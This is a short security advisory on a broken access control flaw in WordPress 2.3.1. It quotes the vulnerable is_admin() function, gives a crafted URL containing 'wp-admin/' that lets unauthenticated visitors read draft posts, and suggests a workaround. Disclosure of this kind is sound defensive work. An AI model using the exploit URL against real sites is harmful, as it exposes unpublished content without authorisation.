Wordpress - Broken Access Control

By Michael Brooks

Vulnerability:Broken Access Control

Homepage:http://wordpress.org/download

Software: Wordpress

Version affected:2.3.1 (Latest at the time of writing)

The impact of the flaw is that an attacker can read posts while they are still drafts. This is an ability that only the administrator should have. Imagine a stranger being able to read the news before it is published. Or perhaps a spam-blog harvesting posts before they are published.

This flaw is because Wordpress is trusting the $_SERVER['REQUEST_URI'] global variable. Manipulation of $_SERVER['REQUEST_URI']has led to many xss flaws. Although an attacher shouldn't be able to control all $_SERVER variables, none of them should be trusted.

exploit:

htttp://localhost/wordpress/'wp-admin/

This will cause both $_SERVER['REQUEST_URI'] and $_SERVER['PHP_SELF'] to contain the value:
htttp://localhost/wordpress/'wp-admin/

Vulnerable function:

line 34, in ./wp-includes/query.php.

function is_admin () {

    global $wp_query;



    return ($wp_query->is_admin || (stripos($_SERVER['REQUEST_URI'], 'wp-admin/') !== false));

}

The same flaw is duplicted in again on line 645 of the same file.

This url: htttp://localhost/wordpress/'wp-admin/
will cause the is_admin() function to return true. This flaw works regardless of register_globas or magic_quotes_gpc. The attack fails when search engine friendly urls are turned on in wordpress, however this option is turned off by default. Turning search engine friendly urls on is a workaround until a patch is created.

Peace